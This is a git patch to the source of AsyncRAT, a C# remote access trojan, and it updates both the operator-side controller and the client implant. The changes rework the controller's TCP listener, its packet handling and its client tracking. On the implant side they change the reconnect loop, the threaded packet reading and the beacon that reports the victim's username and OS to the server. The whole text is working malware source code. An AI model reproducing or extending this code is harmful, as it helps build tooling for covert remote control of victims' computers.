From 63afbfc91f79fe1ad29a54951f3d2145d96c842b Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 23 Jan 2019 03:51:29 -0800 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs | 2 +- .../Handle Packet/HandlePacket.cs | 6 +-- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 33 +++++++++++----- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs | 38 +++++++++++-------- AsyncRAT-C#/Client/Client.csproj | 3 ++ AsyncRAT-C#/Client/Program.cs | 26 ++++++++----- 6 files changed, 69 insertions(+), 39 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index fec5819..72d998e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -22,7 +22,7 @@ namespace AsyncRAT_Sharp while (true) { await Task.Delay(1000); - toolStripStatusLabel1.Text = String.Format("Online {0}", listView1.Items.Count.ToString()); + toolStripStatusLabel1.Text = string.Format("Online {0}", listView1.Items.Count.ToString()); } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 45c7702..cf3ea0d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp.Handle_Packet { class HandlePacket { - public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data); + public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data); public static void Read(Clients client, byte[] data) { MsgPack unpack_msgpack = new MsgPack(); @@ -15,9 +15,9 @@ namespace AsyncRAT_Sharp.Handle_Packet switch (unpack_msgpack.ForcePathObject("Packet").AsString) { case "ClientInfo": - if (Program.form1.InvokeRequired) + if (Program.form1.listView1.InvokeRequired) { - Program.form1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] { client, data }); + Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data }); } else { diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index d81df9f..a703e6d 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -17,7 +17,8 @@ namespace AsyncRAT_Sharp.Sockets public bool BufferRecevied; public MemoryStream MS; public ListViewItem LV; - public bool isClientConnected; + public event ReadEventHandler Read; + public delegate void ReadEventHandler(Clients client, byte[] data); public void InitializeClient(Socket CLIENT) { @@ -29,10 +30,10 @@ namespace AsyncRAT_Sharp.Sockets Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; - isClientConnected = true; MS = new MemoryStream(); LV = null; - client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); + Read += HandlePacket.Read; + client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } @@ -51,6 +52,7 @@ namespace AsyncRAT_Sharp.Sockets if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); + MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { @@ -60,7 +62,6 @@ namespace AsyncRAT_Sharp.Sockets } else { - await MS.WriteAsync(Buffer, 0, Buffer.Length); } } @@ -69,22 +70,27 @@ namespace AsyncRAT_Sharp.Sockets await MS.WriteAsync(Buffer, 0, Recevied); if (MS.Length == Buffersize) { - HandlePacket.Read(this, MS.ToArray()); - MS = new MemoryStream(); + + Read?.BeginInvoke(this, MS.ToArray(), null, null); Buffer = new byte[1]; Buffersize = 0; BufferRecevied = false; + MS.Dispose(); + MS = new MemoryStream(); } } } + else + { + Disconnected(); + } client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } catch { Disconnected(); } - - } + } delegate void _isDisconnected(); public void Disconnected() @@ -95,14 +101,21 @@ namespace AsyncRAT_Sharp.Sockets { LV.Remove(); } + try + { + MS.Dispose(); + client.Close(); + client.Dispose(); + } + catch { } } + public async void BeginSend(byte[] Msgs) { - if (isClientConnected || client.Connected) + if (client.Connected) { try { - using (MemoryStream MS = new MemoryStream()) { byte[] buffer = Msgs; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index a016bd6..4c23a87 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -2,30 +2,39 @@ using System.Net; using System.Net.Sockets; using System; +using System.Threading; +using System.Windows.Forms; namespace AsyncRAT_Sharp.Sockets { class Listener { - public TcpListener listener; + public Socket listener; public async void Connect(int port) { - listener = new TcpListener(IPAddress.Any, port); - listener.Server.ReceiveBufferSize = 50 * 1024; - listener.Server.SendBufferSize = 50 * 1024; - listener.Server.ReceiveTimeout = -1; - listener.Server.SendTimeout = -1; - listener.Start(); - - while (true) + try { - await Task.Delay(1); - if (listener.Pending()) + listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, port); + listener.SendBufferSize = 50 * 1024; + listener.ReceiveBufferSize = 50 * 1024; + listener.ReceiveTimeout = -1; + listener.SendTimeout = -1; + listener.Bind(IpEndPoint); + listener.Listen(50); + + while (true) { - listener.BeginAcceptSocket(EndAccept, null); + await Task.Delay(1); + listener.BeginAccept(EndAccept, null); } } + catch (Exception ex) + { + MessageBox.Show(ex.Message); + Environment.Exit(0); + } } public void EndAccept(IAsyncResult ar) @@ -33,11 +42,10 @@ namespace AsyncRAT_Sharp.Sockets try { Clients CL = new Clients(); - CL.InitializeClient(listener.EndAcceptSocket(ar)); + CL.InitializeClient(listener.EndAccept(ar)); } catch - { - } + { } } } } diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index c0e4d83..6364612 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -31,6 +31,9 @@ prompt 4 + + + diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index f31b896..fe7f663 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -2,6 +2,7 @@ using Microsoft.VisualBasic; using Microsoft.VisualBasic.Devices; using System; +using System.Diagnostics; using System.IO; using System.Net.Sockets; using System.Text; @@ -59,19 +60,20 @@ namespace Client msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString(); msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString(); return msgpack.Encode2Bytes(); - } public static void ReadServertData(IAsyncResult ar) { - if (client.Connected == false) - { - client.Close(); - client.Dispose(); - InitializeClient(); - } try { + if (client.Connected == false) + { + client.Close(); + client.Dispose(); + MS.Dispose(); + InitializeClient(); + } + int Recevied = client.EndReceive(ar); if (Recevied > 0) @@ -82,6 +84,7 @@ namespace Client if (Buffer[0] == 0) { Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); + MS.Dispose(); MS = new MemoryStream(); if (Buffersize > 0) { @@ -100,7 +103,8 @@ namespace Client MS.Write(Buffer, 0, Recevied); if (MS.Length == Buffersize) { - Read(MS.ToArray()); + ThreadPool.QueueUserWorkItem(Read, MS.ToArray()); + MS.Dispose(); MS = new MemoryStream(); Buffer = new byte[1]; Buffersize = 0; @@ -112,6 +116,7 @@ namespace Client { client.Close(); client.Dispose(); + MS.Dispose(); InitializeClient(); } client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); @@ -120,14 +125,15 @@ namespace Client { client.Close(); client.Dispose(); + MS.Dispose(); InitializeClient(); } } - public static void Read(byte[] Data) + public static void Read(object Data) { MsgPack unpack_msgpack = new MsgPack(); - unpack_msgpack.DecodeFromBytes(Data); + unpack_msgpack.DecodeFromBytes((byte[])Data); Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString); switch (unpack_msgpack.ForcePathObject("Packet").AsString) {